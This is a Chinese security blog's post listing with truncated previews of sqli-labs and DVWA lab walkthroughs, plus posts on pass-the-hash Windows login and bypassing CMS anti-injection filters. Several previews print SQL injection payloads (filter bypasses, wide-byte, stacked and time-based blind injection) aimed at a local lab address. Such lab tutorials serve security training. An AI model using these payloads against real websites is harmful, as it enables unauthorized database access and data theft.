
【渗透测试实战】
渗透测试实战
FLy_鹏程万里
国内网络安全研究员,专注于Web渗透、移动安全、代码审计、应急响应、内网渗透、区块链安全、云安全等研究方向,擅长渗透测试、红蓝对抗、内网渗透、云安全、区块链安全。
展开
-
sqli-labs————Less-25a
Less-25a这一关于25关类似都是过滤了“or”和“and”我们先查看一下源代码看看:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www....原创 2018-05-16 22:48:47 · 674 阅读 · 0 评论 -
sqli-labs ————less -26a
Less-26a查看一下源代码:查询语句:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";过滤机制:function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace(...原创 2018-05-16 22:49:32 · 1151 阅读 · 0 评论 -
sqli-labs————Less-26(绕空格、/*、#等)
Less-26从这里的提示,我们可以看出这一关过滤了空格。我们可以查看源代码,看看它的过滤机制:function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out A...原创 2018-05-16 22:50:07 · 2465 阅读 · 1 评论 -
sqli-labs————Less-28
Less 28这一关于之前的27关没有什么差别,这里直接给出一个payload,用户可以自己思考自我测试,如果有不清楚的可以查看之前的第27关的详细介绍。payload:http://192.168.11.136/sqli-labs/Less-28?id=1')union%a0select(1),(user()),(3)||('1...原创 2018-05-16 22:50:30 · 1150 阅读 · 0 评论 -
sqli-labs————less-28a
Less-28这一关于之前的28关基本上一致,只不过在过滤条件部分少了几个,但是这并不影响我们的注入,对于注入原理还是不变的,下面直接给出payload,因为这几关的相似度太大了,而且只要明白 一关的过关方法,那么其他关的过关方法也就知道了。payload:http://192.168.11.136/sqli-labs/Less-28a?id=-1%27)unIon%0bsElect%0b1,@@...原创 2018-05-16 22:51:04 · 705 阅读 · 0 评论 -
sqli-labs ————less -27a(union、SELECT、绕过滤)
Less-27a本关与第27关的去呗在于对于ID的处理,这里使用了“ ””,同时mysql的错误提示被屏蔽,所以报错注入无法进行。对于过滤的绕过技巧在上一节中已经讲过了,这里不再多说了。下面给出一个payload:http://192.168.11.136/sqli-labs/Less-27a?id=1"%a0UnIon%a0SElecT%a01,user(),"3读者有兴趣可以自己测试哈!...原创 2018-05-16 22:51:21 · 762 阅读 · 0 评论 -
1、使用Hash直接登录Windows
环境攻击机 : kali linux 2018 192.168.11.144目标主机:Windows server 2003 R2 192.168.11.133主要用途这个可以用于后渗透测试阶段,当我们获取到一个系统的一个WEBshell之后,我们可以上传gethashes.exe到该目标系统,之后在目标系统中获取当前登录用户的...原创 2018-05-17 13:26:41 · 3175 阅读 · 0 评论 -
2、Mysql注入科普
默认存在的数据库mysql需要root权限读取information_schema在5以上的版本中存在测试是否存在注入方法假:表示查询是错误的 (MySQL 报错/返回页面与原来不同)真:表示查询是正常的 (返回页面与原来相同)共三种情况:例子:SELECT * FROM Users WHERE id = '1''';SELECT * FROM Users WHERE id = 3-2;SEL...转载 2018-05-17 16:19:36 · 436 阅读 · 0 评论 -
3、python脚本处理伪静态注入
目前有很多网站做了rewrite./?id=1/1/1111.php通常情况下,动态脚本的网站的url类似下面这样 http://www.xxoo.net/aa.php?id=123 做了伪静态之后类似这样 http://www.xxoo.net/aa.php/id/123.html 总归大趋势下,攻击的门槛逐渐增高。这样有利有弊,喜欢研究的会深入钻研,另一方面只会用工具不懂原理的则充斥到...转载 2018-05-17 16:34:42 · 721 阅读 · 0 评论 -
4、几种通用防注入程序绕过方法
0x00 前言目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。0x01 Discuz x2.0防注入防注入原理这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示#!phpf...转载 2018-05-18 12:35:08 · 950 阅读 · 0 评论 -
sqli-labs———服务器(两层)架构
首先介绍一下29,30,31这三关的基本情况:服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。此处简单介绍一下相关环境的搭建。环境为ubuntu14.04。此处...转载 2018-05-19 11:16:15 · 403 阅读 · 0 评论 -
sqli-labs ————less -27(union、SELECT、绕过滤)
Less-27从提示界面中我们可以看出这一小节对union、select进行了绕过,那么我们下面来看看源代码吧:SQL语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";过滤机制:function blacklist($id){$id= preg_replace('/[\/\*]/',"", $id); //strip out /*...原创 2018-05-19 11:15:56 · 2054 阅读 · 0 评论 -
sqli-labs————Less-29
Less-29从题目中可以了解到这个使用了WAF机制,那么我们可以看看该源文件内容:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3....原创 2018-05-19 11:16:49 · 906 阅读 · 2 评论 -
sqli-labs————Less-30
Less-30查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:04 · 531 阅读 · 0 评论 -
sqli-labs————Less-31
Less-31查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:17 · 522 阅读 · 0 评论 -
sqli-labs————Less-32
Less-32查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:29 · 1134 阅读 · 0 评论 -
sqli-labs————宽字节注入(可以用于绕过滤了单引号或者\的WAF)
宽字节注入的原理:原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' 。宽字节注入实现:因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:(1)%df吃掉 \ 具体的原因是urlencode('\) = %5c%27,我们在%5c%...原创 2018-05-19 11:17:43 · 2711 阅读 · 0 评论 -
sqli-labs————Less-33
Less-33查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-19 11:17:55 · 719 阅读 · 0 评论 -
sqli-labs————Less-34(宽字节绕过、水平越权、盲注)
Less-34方法一:这一关是POST型的注入,同样的将post传递过来的内容进行了转义处理,过滤了单引号、反斜杠。有之前的例子我们可以看到%df可以将转义的反斜杠给吃掉。而GET型的方式我们是以url形式提交的,因此数据会通过urlencode,如何将方法用在POST型的注入当中呢?我们可以将UTF-8转换为UTF-16或者UTF-32,例如将'转换为utf-16为: �'。我们可以利用这一点注...原创 2018-05-19 11:18:09 · 2681 阅读 · 0 评论 -
sqli-Labs————less-35
Less-35查看源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head&..原创 2018-05-20 15:59:52 · 746 阅读 · 0 评论 -
sqli-Labs————less-36
Less-36源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>..原创 2018-05-20 16:00:08 · 591 阅读 · 0 评论 -
sqli-Labs————less-37
Less-37查看一下源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><hea...原创 2018-05-20 16:00:21 · 839 阅读 · 0 评论 -
sqli-labs ————Stacked 注入攻击介绍
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。0x01 原理介绍在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sq...转载 2018-05-20 16:00:37 · 661 阅读 · 0 评论 -
sqli-Labs————less-38
Less-38源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tran...原创 2018-05-20 16:00:52 · 1092 阅读 · 0 评论 -
sqli-Labs————less-39
Less-39查看源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tr...原创 2018-05-20 16:01:05 · 562 阅读 · 0 评论 -
sqli-Labs————less-40
Less-40查看源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tr...原创 2018-05-20 16:01:20 · 1118 阅读 · 0 评论 -
sqli-Labs————less-41
Less-41查看源代码:<?phperror_reporting(0);include("../sql-connections/db-creds.inc");?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tr...原创 2018-05-20 16:01:36 · 565 阅读 · 0 评论 -
DVWA渗透测试演示(上)
一、DVWA简介:DVWA(Dam Volnerable WebApplication)是用PHP+MYSQL编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等一些常见的安全漏洞二、渗透测试前的准备:(1)在本地搭建PHP+MySQL+Apache环境(可以使用PHPstudy来实现)(2)将下载好的dvwa解压缩到WWW目录下(此次渗透测试是采用PHP...原创 2018-02-28 12:35:45 · 3981 阅读 · 0 评论 -
DVWA渗透测试演示(下)
八、DVWA之PHP+MySQL手工注入:(1)SQL注入:在用户的输入没有为转移字符过滤时,就会发生这种形式的注入攻击,它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句进行操纵。就是通过吧SQL命令插入到web表单或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意代码的SQL命令。(2)view source:由此可知,当输入正确的ID时,将显示ID:xxx ...原创 2018-02-28 15:09:45 · 1736 阅读 · 0 评论 -
DVWA渗透测试演示(中)
续DVWA渗透测试演示(上):六、DVWA之FileInclusion:(1)实验原理:PHP文件包含漏洞的产生原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预料之外的文件,就有可能导致意外文件泄漏,甚至恶意代码的注入。(2)PHP文件包含漏洞分为:本地文件包含漏洞(LFI)和远程文件包含漏洞(RFI),能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞。可以查...原创 2018-02-28 15:09:55 · 1830 阅读 · 0 评论 -
sqli-Labs————less-42
Less-42源代码分析:在login.php文件中,我们可以发现以下内容:从上面所指的代码部分我们可以发现,对用户输入的密码没有经过任何的处理操作,因此在登录的时候可以用于注入。payload:username:admin(随意)password:aaa';creat table me like users#(创建表hps)登录之前的四张表:登录之后:这算是一个堆叠注入的一个应用吧!...原创 2018-05-21 11:05:00 · 1268 阅读 · 0 评论 -
sqli-Labs————less-43
Less-43这一关于上一关差不多,只是对id的处理上有所变化,下面直接给出payload:username:adminpassword:aaa');create table hps like users#原创 2018-05-21 11:05:16 · 460 阅读 · 0 评论 -
sqli-Labs————less-44
Less-44这一关与之前的一样,都是采用的堆叠注入,这里直接给出payload:username:adminpassword:aaa';create table hps like users#原创 2018-05-21 11:05:31 · 455 阅读 · 0 评论 -
sqli-Labs————less-45
Less-45这一关于之前的一样,都是采用堆叠注入,payload也是差不了多少,这里直接给出payload:username:adminpassword:aaa')create table hps like users#原创 2018-05-21 11:05:47 · 399 阅读 · 0 评论 -
sqli-Labs————less-46(order by 之后的注入)
前言从这一关开始将会介绍一下order by相关的注入内容。Less-46源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.o...转载 2018-05-21 11:06:08 · 1398 阅读 · 0 评论 -
sqli-labs————Less-47(procedure alalyse\lines terminated by利用)
Less-47源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>..转载 2018-05-21 11:06:29 · 1095 阅读 · 0 评论 -
sqli-labs————Less-48
Less-48本关与less-46的区别在于报错注入不能使用,不进行错误回显,其他的方法我们依旧是可以使用的。可以利用sort=rand(true/false)进行判断。and延时注入http://192.168.11.136/sqli-labs/Less-48?sort=1 and (if (ascii(substr(database(),1,1))=115,0,sleep(5)))同时,我们照...转载 2018-05-21 11:06:51 · 1230 阅读 · 0 评论 -
sqli-labs————Less-49
Less-49本关与第47关类似,区别在于没有错误回显,但是我们还是可以使用延迟注入和导入导出文件进行注入操作:延迟注入:http://192.168.11.136/sqli-labs/Less-49?sort=1' and (if(ascii(left(version(),1))=5,0,sleep(5)))--+into outfile注入:http://192.168.11.136/sqli...原创 2018-05-21 11:07:08 · 827 阅读 · 0 评论 -
sqli-labs————Less-50(order by stacked injection)
Less-50从本关开始我们开始进行order by stacked injection!执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前...转载 2018-05-21 11:07:33 · 286 阅读 · 0 评论 -
sqli-labs————Less-51
Less-51执行的sql语句:$sql="SELECT * FROM users ORDER BY '$id'";这里和上一关基本上相同,唯一的区别就是加了一个单引号,这里我们直接构建payload如下:http://192.168.11.136/sqli-labs/Less-51?sort=1';create table hps like users--+...原创 2018-05-21 11:07:50 · 411 阅读 · 0 评论